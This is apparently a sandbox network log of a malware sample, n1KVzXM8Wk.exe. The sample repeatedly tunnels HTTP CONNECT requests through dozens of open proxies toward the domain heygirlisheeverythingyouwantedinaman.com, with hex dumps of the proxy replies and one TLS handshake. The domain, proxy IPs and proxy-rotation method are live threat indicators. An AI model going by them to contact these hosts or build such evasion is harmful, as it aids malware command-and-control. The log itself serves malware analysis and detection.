
Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.4	51127	104.18.143.26	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.292433977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.380131006 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.4	51060	12.186.205.122	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.294063091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.421061039 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.4	51012	91.189.177.188	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.299958944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.809770107 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3532 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.4	51146	172.67.182.60	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.310410976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.397434950 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.4	51040	161.97.173.42	53397	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.313143969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.902682066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.443968058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.443937063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.464728117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.444102049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.4	51139	54.152.3.36	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.314172029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.433587074 CET	178	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/plain X-Powered-By: PHP/5.3.6-13ubuntu3.6 Server: ibm internet connection server Content-Length: 0
Feb 23, 2024 09:45:20.433964968 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 5b 20 eb db 4f a7 7b 31 05 5c 4a b6 3c 46 62 e2 51 d7 62 8a 5a dc d3 86 52 86 33 92 0d 2e 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[ O{1\J<FbQbZR3.*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#j</7Il2)oo JCSsyn'9L}xhl
Feb 23, 2024 09:45:20.534873009 CET	536	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 19 8f ee 1a 93 fd 84 4c e7 a2 23 e6 b2 ec 9e ed 98 85 3e ec 2f 06 8d 25 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9L#>/%DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240223083916Z260222083916Z03110/U(heygirlisheeverythingyouwantedinaman.c
Feb 23, 2024 09:45:20.534970045 CET	536	IN	Data Raw: 01 00 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 02 35 24 1c b6 5b 43 aa 90 2c 63 00 e9 cd 98 b3 ac 19 41 3c d4 e2 34 bd df fa d1 b2 84 bb 2b 8e 92 83 60 77 61 49 06 6d c0 36 e7 c7 98 27 fa f9 86 9d e0 82 2a ba b0 15 ba 82 ed Data Ascii: 0H5$[C,cA<4+`waIm6'8q~+]%Qt%<Z0<\|]Ziv%(e:_)9vs%DQ:#w"}ZGVe<Qxe2BYJH?F&
Feb 23, 2024 09:45:20.534985065 CET	57	IN	Data Raw: 11 9d 09 ae 62 66 d5 26 e1 7b 39 27 b5 37 60 fa be 98 69 7e cf 10 ca 45 6f 0c 0d e7 b0 7e 9f ec 0c eb 2d fa cf 8d a1 cc 20 c8 90 65 29 e7 6b 0f 16 03 03 00 04 0e 00 00 00 Data Ascii: bf&{9'7`i~Eo~- e)k
Feb 23, 2024 09:45:20.544588089 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 1b ea 97 96 55 89 d7 a3 01 fa 39 75 7f 8d d5 44 83 ef 27 db 8d 9f 1b 1a 48 dd 73 30 e9 49 2a 38 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 b5 27 9a 00 a0 63 82 40 39 54 29 35 3a 7a b5 3e 67 65 e9 f6 dc Data Ascii: %! U9uD'Hs0I8('c@9T)5:z>ge7}k[WP
Feb 23, 2024 09:45:20.638890982 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 db b3 ca 1a 67 28 ed fa 5d 78 1a 90 9b 05 50 d8 1c a5 69 dc f1 e0 e4 d5 79 aa dd 03 ca 38 7b 21 2a 3e 1b a1 13 7f 11 23 Data Ascii: (g(]xPiy8{!*>#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.4	51152	172.67.182.3	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.316972971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.404932022 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.4	51187	104.24.15.158	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.336139917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.423845053 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.4	51054	72.195.114.169	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.336150885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.4	51122	132.148.130.78	38721	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.347963095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.902710915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.4	51082	162.144.36.208	27829	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.354269028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.4	51039	45.11.95.165	5000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.370345116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.4	51221	104.20.179.187	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.370352030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.457427979 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.4	51211	45.196.151.236	5432	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.370413065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.473954916 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.4	51220	5.161.98.204	53935	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.370526075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.739432096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.146892071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.830439091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.030631065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.4	51107	116.202.235.157	63135	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.370527029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.865663052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.4	51222	172.67.253.69	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.370960951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.458153963 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.4	51123	141.94.174.6	33466	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.371721029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.4	51235	172.64.207.185	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.371901989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.473772049 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.4	50961	194.233.78.142	42369	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.375890970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.146898985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.4	51208	51.222.241.157	46286	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
